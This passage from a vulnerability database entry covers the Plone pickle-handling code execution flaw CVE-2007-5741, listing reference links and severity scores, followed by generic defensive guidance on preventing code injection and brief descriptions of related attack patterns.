"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-5741"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/38288"
},
{
"type": "PACKAGE",
"url": "https://github.com/plone/Plone"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/plone/PYSEC-2007-4.yaml"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20080507055819/https://plone.org/about/security/advisories/cve-2007-5741"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20080517012557/http://www.securityfocus.com/bid/26354"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20080906150436/http://www.securityfocus.com/archive/1/483343/100/0/threaded"
},
{
"type": "WEB",
"url": "http://plone.org/about/security/advisories/cve-2007-5741"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2007/dsa-1405"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Plone Arbitrary Code Execution via Unsafe Handling of Pickles"
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.